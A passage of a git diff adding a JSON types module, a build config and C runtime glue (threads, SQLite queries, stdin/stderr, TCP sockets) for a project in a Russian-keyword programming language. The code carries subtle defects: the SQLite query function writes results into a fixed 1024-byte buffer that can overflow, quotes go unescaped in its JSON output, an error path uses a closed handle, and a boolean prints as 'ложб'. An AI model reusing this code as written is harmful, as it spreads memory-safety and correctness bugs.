объект +} + +фн сериализовать*(объект: ДжесонОбъект): Строка { + вернуть массив токенов в строку(объект.в токены()) +} diff --git a/исх/форматы/джесон/типы.tri b/исх/форматы/джесон/типы.tri new file mode 100644 index 0000000..467b30c --- /dev/null +++ b/исх/форматы/джесон/типы.tri @@ -0,0 +1,205 @@ +модуль джесон + +импорт "исх/строка" +импорт "исх/спринтф" + +тип ДжесонЗначение* = класс { + +} + +фн (значение: ДжесонЗначение) в строку*(): Строка { + вернуть "пустое значение" +} + +фн (значение: ДжесонЗначение) в токены(): ДжесонТокены { + авария("попытка преобразовать в токены базовое значение") +} + +фн (значение: ДжесонЗначение) пустое*(): Лог { + вернуть истина +} + +фн (значение: ДжесонЗначение) строка*(): мб Строка { + вернуть пусто +} + +фн (значение: ДжесонЗначение) число*(): мб ДжесонЧисло { + вернуть пусто +} + +тип ДжесонЗначения* = []ДжесонЗначение + +тип ДжесонСтрока* = класс(ДжесонЗначение) { + значение*: Строка := "" +} + +фн (строка: ДжесонСтрока) в строку*(): Строка { + вернуть спринтф.ф("\"$стр\"", строка.значение) +} + +фн (строка: ДжесонСтрока) в токены(): ДжесонТокены { + вернуть ДжесонТокены[ТокенСтрока{значение: строка.значение}] +} + +фн (строка: ДжесонСтрока) пустое*(): Лог { + вернуть ложь +} + +фн (строка: ДжесонСтрока) строка*(): мб Строка { + вернуть строка.значение +} + +тип ДжесонЧисло* = класс(ДжесонЗначение) { + значение*: Цел64 := 0 +} + +фн (число: ДжесонЧисло) в строку*(): Строка { + вернуть спринтф.ф("$цел", число.значение) +} + +фн (число: ДжесонЧисло) в токены(): ДжесонТокены { + вернуть ДжесонТокены[ТокенЧисло{значение: число.значение}] +} + +фн (число: ДжесонЧисло) пустое*(): Лог { + вернуть ложь +} + +фн (число: ДжесонЧисло) число*(): мб ДжесонЧисло { + вернуть число +} + +тип ДжесонЛог* = класс(ДжесонЗначение) { + значение*: Лог := ложь +} + +фн (лог: ДжесонЛог) в строку*(): Строка { + если лог.значение { + вернуть "истина" + } + + вернуть "ложб" +} + +фн (лог: ДжесонЛог) в токены(): ДжесонТокены { + вернуть ДжесонТокены[ТокенБульБуль{значение: лог.значение}] +} + +фн (лог: ДжесонЛог) пустое*(): Лог { + вернуть ложь +} + +тип ДжесонМногоЗначений* = класс(ДжесонЗначение) { + значения*: ДжесонЗначения = ДжесонЗначения[] +} + +фн (значения: ДжесонМногоЗначений) в строку*(): Строка { + пусть выходная строка := "" + + цикл [номер]значение среди значения.значения { + если номер > 0 { + выходная строка := спринтф.ф("$стр, ", выходная строка) + } + + выходная строка := строка.собрать(выходная строка, значение.в строку()) + } + + вернуть спринтф.ф("[$стр]", выходная строка) +} + +фн (значения: ДжесонМногоЗначений) в токены(): ДжесонТокены { + пусть токены = ДжесонТокены[ТокенКвадратнаяСкобка{закрывающая: ложь}] + + цикл [номер]значение среди значения.значения { + если номер > 0 { + токены.добавить(ТокенЗапятая{}) + } + + токены.добавить(значение.в токены()...) + } + + токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина}) + + вернуть токены +} + +фн (значения: ДжесонМногоЗначений) пустое*(): Лог { + вернуть длина(значения.значения) = 0 +} + +тип ДжесонОбъект* = класс(ДжесонЗначение) { + значения*: ДжесонКлючЗначения := ДжесонКлючЗначения[] +} + +фн (объект: ДжесонОбъект) в строку*(): Строка { + пусть выходная строка := "" + + цикл [номер]значение среди объект.значения { + если номер > 0 { + выходная строка := спринтф.ф("$стр,\n", выходная строка) + } иначе { + выходная строка := спринтф.ф("\n$стр", выходная строка) + } + + выходная строка := строка.собрать(выходная строка, спринтф.ф("\"$стр\": $стр", значение.ключ, значение.значение.в строку())) + } + + вернуть спринтф.ф("{$стр\n}", выходная строка) +} + +фн (объект: ДжесонОбъект) в токены(): ДжесонТокены { + пусть токены = ДжесонТокены[ТокенФигурнаяСкобка{закрывающая: ложь}] + + цикл [номер]значение среди объект.значения { + если номер > 0 { + токены.добавить(ТокенЗапятая{}) + } + + токены.добавить(ТокенСтрока{значение: значение.ключ}) + токены.добавить(ТокенДвоеточие{}) + токены.добавить(значение.значение.в токены()...) + } + + токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина}) + + вернуть токены +} + +фн (объект: ДжесонОбъект) пустое*(): Лог { + вернуть ложь +} + +фн (объект: ДжесонОбъект) получить*(ключ: Строка): ДжесонЗначение { + пусть количество = длина(объект.значения) + пусть ай := количество - 1 + + пока ай >= 0 { + пусть значение = объект.значения[ай] + + если значение.ключ = ключ { + вернуть значение.значение + } + + ай := ай - 1 + } + + вернуть ДжесонЗначение{} +} + +фн (объект: ДжесонОбъект) вставить*(ключ: Строка, новое значение: ДжесонЗначение) { + цикл [номер]значение среди объект.значения { + если значение.ключ = ключ { + объект.значения[номер].значение := новое значение + вернуть + } + } + + объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: новое значение}) +} + +тип ДжесонКлючЗначение* = класс { + ключ*: Строка := "" + значение*: ДжесонЗначение := позже +} + +тип ДжесонКлючЗначения* = []ДжесонКлючЗначение diff --git a/карга.json b/карга.json new file mode 100644 index 0000000..56b7710 --- /dev/null +++ b/карга.json @@ -0,0 +1,12 @@ +{ + "project_name": "srab", + "target": "linux", + "include_modules": [ + { "c_file": "suckit.c", "c_header": "suckit.h" }, + { "c_file": "sckulya.c", "c_header": "sckulya.h" }, + { "c_file": "pstruya.c", "c_header": "pstruya.h" }, + { "c_file": "stdin.c", "c_header": "stdin.h" } + ], + "compiler_flags": ["-pthread"], + "linker_flags": ["-lsqlite3"] +} diff --git a/си/pstruya.c b/си/pstruya.c new file mode 100644 index 0000000..b064fbb --- /dev/null +++ b/си/pstruya.c @@ -0,0 +1,46 @@ +#include "pstruya.h" + +typedef struct { + struya_vnutr__TStruya routine; + TTagPair arg; +} tri_thread_launch_compound; + +void* tri_thread_wrapper(void* arg) { + tri_thread_launch_compound* compound = (tri_thread_launch_compound*) arg; + compound->routine.func(compound->routine.receiver, compound->arg); + + free(compound); + return NULL; +} + +int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg) { + pthread_t thread; + pthread_attr_t attr; + + pthread_attr_init(&attr); + pthread_attr_setstacksize(&attr, 512 * 1024); + + tri_thread_launch_compound* compound = malloc(sizeof(tri_thread_launch_compound)); + compound->routine = routine; + compound->arg = arg; + + int result = pthread_create(&thread, &attr, tri_thread_wrapper, (void*) compound); + + if (result != 0) { + return 0; + } + + return (int64_t)(uintptr_t)thread; +} + +void tri_thread_join(int64_t thread) { + if (!thread) return; + + pthread_join((pthread_t)(uintptr_t)thread, NULL); +} + +void tri_thread_detach(int64_t thread) { + if (!thread) return; + + pthread_detach((pthread_t)(uintptr_t)thread); +} diff --git a/си/pstruya.h b/си/pstruya.h new file mode 100644 index 0000000..baf4bd4 --- /dev/null +++ b/си/pstruya.h @@ -0,0 +1,14 @@ +#ifndef STRUYA_H +#define STRUYA_H + +#include "rt_api.h" +#include "struya_vnutr.h" + +#include +#include + +int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg); +void tri_thread_join(int64_t thread); +void tri_thread_detach(int64_t thread); + +#endif // STRUYA_H diff --git a/си/sckulya.c b/си/sckulya.c new file mode 100644 index 0000000..d7d78ec --- /dev/null +++ b/си/sckulya.c @@ -0,0 +1,160 @@ +#include "sckulya.h" + +int64_t tri_sqlite_open(TString filename, TString *error) { + sqlite3* out_db = 0; + + int rc = sqlite3_open((const char*) filename->body, &out_db); + + if(rc != SQLITE_OK) { + if(out_db) { + sqlite3_close(out_db); + } + + const char* msg = sqlite3_errmsg(out_db); + + if(!msg) { + msg = "Unknown error"; + } + + int64_t len = (int64_t)strlen(msg); + *error = tri_newString(len, len, (char*)msg); + } + + sqlite3_busy_timeout(out_db, 5000); + + return (int64_t) out_db; +} + +int tri_sqlite_close(int64_t db) { + if (!db) return SQLITE_MISUSE; + return sqlite3_close((sqlite3*) db); +} + +void tri_sqlite_exec(int64_t db, TString query, TString *error) { + char* errmsg = NULL; + int rc = sqlite3_exec((sqlite3*) db, (const char*) query->body, NULL, NULL, &errmsg); + + if (errmsg) { + int64_t len = (int64_t)strlen(errmsg); + *error = tri_newString(len, len, errmsg); + + sqlite3_free(errmsg); + } +} + +void escape_and_append (const unsigned char *s, char* buf, size_t* len) { +for (; *s; ++s) { + char esc = 0; + + switch (*s) { + case '\\': esc = '\\'; break; + case '\b': esc = 'b'; break; + case '\f': esc = 'f'; break; + case '\n': esc = 'n'; break; + case '\r': esc = 'r'; break; + case '\t': esc = 't'; break; + default: break; + } + if (esc) { + buf[(*len)++] = '\\'; + buf[(*len)++] = esc; + } else { + buf[(*len)++] = *s; + } +} +}; + +int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error) { + sqlite3_stmt *stmt = NULL; + int rc = sqlite3_prepare_v2((sqlite3*)db, (const char*) query->body, -1, &stmt, NULL); + if (rc != SQLITE_OK) { + if (error) { + const char *msg = sqlite3_errmsg((sqlite3*)db); + if (!msg) msg = "Unknown error"; + int64_t len = (int64_t)strlen(msg); + *error = tri_newString(len, len, (char*)msg); + } + return rc; + } + + size_t cap = 1024; + size_t len = 0; + char *buf = malloc(cap); + + if (!buf) { + sqlite3_finalize(stmt); + if (error) *error = tri_newString(0,0,"Out of memory"); + return SQLITE_NOMEM; + } + + buf[len++] = '['; + int first_row = 1; + + while ((rc = sqlite3_step(stmt)) == SQLITE_ROW) { + if (!first_row) { buf[len++] = ','; } else first_row = 0; + buf[len++] = '{'; + + int ncol = sqlite3_column_count(stmt); + for (int i = 0; i < ncol; ++i) { + if (i) { buf[len++] = ','; } + const char *colname = sqlite3_column_name(stmt, i); + /* "colname": */ + // strlen(colname) + 4; + buf[len++] = '\"'; + escape_and_append((const unsigned char*)colname, buf, &len); + buf[len++] = '\"'; + buf[len++] = ':'; + + int type = sqlite3_column_type(stmt, i); + if (type == SQLITE_INTEGER) { + long long v = sqlite3_column_int64(stmt, i); + char tmp[32]; + int n = snprintf(tmp, sizeof(tmp), "%lld", v); + memcpy(buf + len, tmp, n); len += n; + } else if (type == SQLITE_FLOAT) { + double v = sqlite3_column_double(stmt, i); + char tmp[64]; + int n = snprintf(tmp, sizeof(tmp), "%g", v); + memcpy(buf + len, tmp, n); len += n; + } else if (type == SQLITE_NULL) { + memcpy(buf + len, "null", 4); len += 4; + } else { + const unsigned char *txt = sqlite3_column_text(stmt, i); + if (!txt) { + memcpy(buf + len, "null", 4); len += 4; + } else { + buf[len++] = '\"'; + escape_and_append(txt, buf, &len); + buf[len++] = '\"'; + } + } + } + + buf[len++] = '}'; + } + + /* finalize and handle errors */ + if (rc != SQLITE_DONE) { + const char *msg = sqlite3_errmsg((sqlite3*)db); + if (error) { + if (!msg) msg = "Unknown error"; + int64_t mlen = (int64_t)strlen(msg); + *error = tri_newString(mlen, mlen, (char*)msg); + } + sqlite3_finalize(stmt); + free(buf); + return rc; + } + + buf[len++] = ']'; + buf[len] = '\0'; + + sqlite3_finalize(stmt); + + if (result) { + *result = tri_newString((int64_t)len, (int64_t)len, buf); + } + + free(buf); + return SQLITE_OK; +} diff --git a/си/sckulya.h b/си/sckulya.h new file mode 100644 index 0000000..ccb9677 --- /dev/null +++ b/си/sckulya.h @@ -0,0 +1,17 @@ +#ifndef SCKULYA_H +#define SCKULYA_H + +#include +#include +#include + +#include "rt_api.h" + +#include + +int64_t tri_sqlite_open(TString filename, TString *error); +int tri_sqlite_close(int64_t db); +void tri_sqlite_exec(int64_t db, TString query, TString *error); +int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error); + +#endif // SCKULYA_H diff --git a/си/stdin.c b/си/stdin.c new file mode 100644 index 0000000..b6439e0 --- /dev/null +++ b/си/stdin.c @@ -0,0 +1,34 @@ +#include +#include +#include +#include "rt_api.h" + +TString stdin_read_to_string(int bytes) { + if (bytes <= 0) { + return tri_newString(0, 0, ""); + } + + char* buffer = (char*)malloc((size_t)bytes + 1); + if (!buffer) { + return tri_newString(0, 0, ""); + } + + ssize_t bytes_read = read(0, buffer, (size_t)bytes); + if (bytes_read < 0) { + bytes_read = 0; + } + + TString string = tri_newString((int64_t)bytes_read, (int64_t)bytes_read, buffer); + + free(buffer); + return string; +} + +// Writes TString data to STDERR (fd 2) +void stderr_write_string(TString data) { + if (!data) return; + char* datastring = (char*)data->body; + if (!datastring) return; + write(2, datastring, (size_t)strlen(datastring)); +} + diff --git a/си/stdin.h b/си/stdin.h new file mode 100644 index 0000000..1e910b5 --- /dev/null +++ b/си/stdin.h @@ -0,0 +1,9 @@ +#ifndef STDIN_H +#define STDIN_H + +#include "rt_api.h" + +TString stdin_read_to_string(int bytes); +void stderr_write_string(TString data); + +#endif // STDIN_H diff --git a/си/suckit.c b/си/suckit.c new file mode 100644 index 0000000..1843488 --- /dev/null +++ b/си/suckit.c @@ -0,0 +1,121 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "rt_api.h" + + +int create_socket_fd(int port) { + int server_fd; + struct sockaddr_in address; + int opt = 1; + + if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { + perror("socket failed"); + exit(EXIT_FAILURE); + } + + if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) { + perror("setsockopt SO_REUSEADDR"); + exit(EXIT_FAILURE); + } + +#ifdef SO_REUSEPORT + if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) { + perror("setsockopt SO_REUSEPORT"); + exit(EXIT_FAILURE); + } +#endif + + memset(&address, 0, sizeof(address)); + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(port); + + if (bind(server_fd, (struct sockaddr*)&address, sizeof(address)) < 0) { + perror("bind failed"); + exit(EXIT_FAILURE); + } + + if (listen(server_fd, 3) < 0) { + perror("listen"); + exit(EXIT_FAILURE); + } + + return server_fd; +} + +int accept_socket(int fd) { + int server_fd = fd; + struct sockaddr_in client_addr; + socklen_t addrlen = sizeof(client_addr); + + int new_socket = accept(server_fd, (struct sockaddr*)&client_addr, &addrlen); + + if (new_socket < 0) { + perror("accept"); + exit(EXIT_FAILURE); + } + + return new_socket; +} + +void write_string(int socket, TString data) { + char* datastring = (char*) data->body; + write(socket, datastring, strlen(datastring)); +} + +void close_socket(int socket){ + close(socket); +} + +TString read_to_string(int socket, int bytes) { + char* buffer = malloc(bytes + 1); + int bytes_read = read(socket, buffer, bytes); + + if(bytes_read < 0) { + bytes_read = 0; + } + + TString string = tri_newString(bytes_read, bytes_read, buffer); + + free(buffer); + return string; +} + +int connect_socket(TString host, int port) { + char* chost = (char*) host->body; + + struct addrinfo hints; + struct addrinfo* res = NULL; + char portstr[16]; + snprintf(portstr, sizeof(portstr), "%d", port); + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + + int gai = getaddrinfo(chost, portstr, &hints, &res); + if (gai != 0) { + perror("getaddrinfo"); + return -1; + } + + int sockfd = -1; + for (struct addrinfo* p = res; p != NULL; p = p->ai_next) { + sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol); + if (sockfd < 0) continue; + if (connect(sockfd, p->ai_addr, p->ai_addrlen) == 0) { + break; // connected + } + close(sockfd); + sockfd = -1; + } + + freeaddrinfo(res); + return sockfd; +} diff --git a/си/suckit.h b/си/suckit.h new file mode 100644 index 0000000..ca04695 --- /dev/null +++ b/си/suckit.h @@ -0,0 +1,13 @@ +#ifndef SUCKIT_H +#define SUCKIT_H + +#include "rt_api.h" + +int create_socket_fd(int port); +int accept_socket(int fd); +void write_string(int socket, TString data); +void close_socket(int socket); +TString read_to_string(int socket, int bytes); +int connect_socket(TString host, int port); + +#endif // SUCKIT_H